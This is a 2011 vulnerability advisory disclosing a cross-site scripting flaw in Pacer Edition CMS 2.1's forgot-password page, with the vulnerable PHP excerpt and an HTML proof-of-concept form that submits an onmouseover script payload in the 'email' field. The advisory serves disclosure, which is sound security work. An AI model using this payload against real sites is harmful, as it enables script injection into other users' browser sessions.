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Pacer Edition CMS 2.1 Remote XSS POST Injection Vulnerability

🗓️ 09 Jun 2011 00:00:00Reported by Gjoko KrsticType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 19 Views

Pacer Edition CMS 2.1 Remote XSS POST Injection Vulnerability in admin/login/forgot/index.php via email paramete

Code
<!--


Pacer Edition CMS 2.1 Remote XSS POST Injection Vulnerability

Vendor: The Pacer Edition
Product web page: http://www.thepaceredition.com
Affected version: RC 2.1 (SVN: 867)

Summary: The 'Pacer Edition' is a Content Management System(CMS)
written using PHP 5.2.9 as a minimum requirement. The Pacer Edition
CMS was based from Website baker core and has been completely
redesigned with a whole new look and feel along with many new
advanced features to allow you to build sites exactly how you want
and make them, 100% yours!

Desc: Pacer Edition CMS suffers from a XSS vulnerability when parsing
user input to the 'email' parameter via POST method in 'admin/login/forgot/index.php'.
Attackers can exploit this weakness to execute arbitrary HTML and script
code in a user's browser session.


/admin/login/forgot/index.php (line: 77-83):
----------------------------------------------------------------
if(isset($_POST['email']) AND $_POST['email'] != "") {

	$email = $_POST['email'];

	// Check if the email exists in the database
	$query = "SELECT user_id,username,display_name,email,last_reset,password FROM ".TABLE_PREFIX."users WHERE email = '".$admin->add_slashes($_POST['email'])."'";
	$results = $database->query($query);
----------------------------------------------------------------


Tested on: Microsoft Windows XP Professional SP3 (EN)
           Apache 2.2.14 (Win32)
           PHP 5.3.1
           MySQL 5.1.41


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            liquidworm gmail com
                            Zero Science Lab


Advisory ID: ZSL-2011-5018
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5018.php



07.06.2011


--><html>
<head><title>Pacer Edition CMS 2.1 Remote XSS POST Injection Vulnerability</title>
</head><body bgcolor="#1C1C1C">
<script type="text/javascript">function xss1(){document.forms["xss"].submit();}</script>
<form action="http://192.168.16.101/admin/login/forgot/index.php" enctype="application/x-www-form-urlencoded" id="xss" method="POST">
<input name="url" type="hidden" value="1"/>
<input name="email" type="hidden" value='%F6"+onmouseover=prompt(31337)'/>
<input name="button" type="hidden" value="Send%20Details"/>
</form>
<a href="javascript: xss1();" style="text-decoration:none">
<b><font color="red"></font></b><center><h3><br/><br/>Exploit!<h3></h3></h3></center></a>
</body>
</html>

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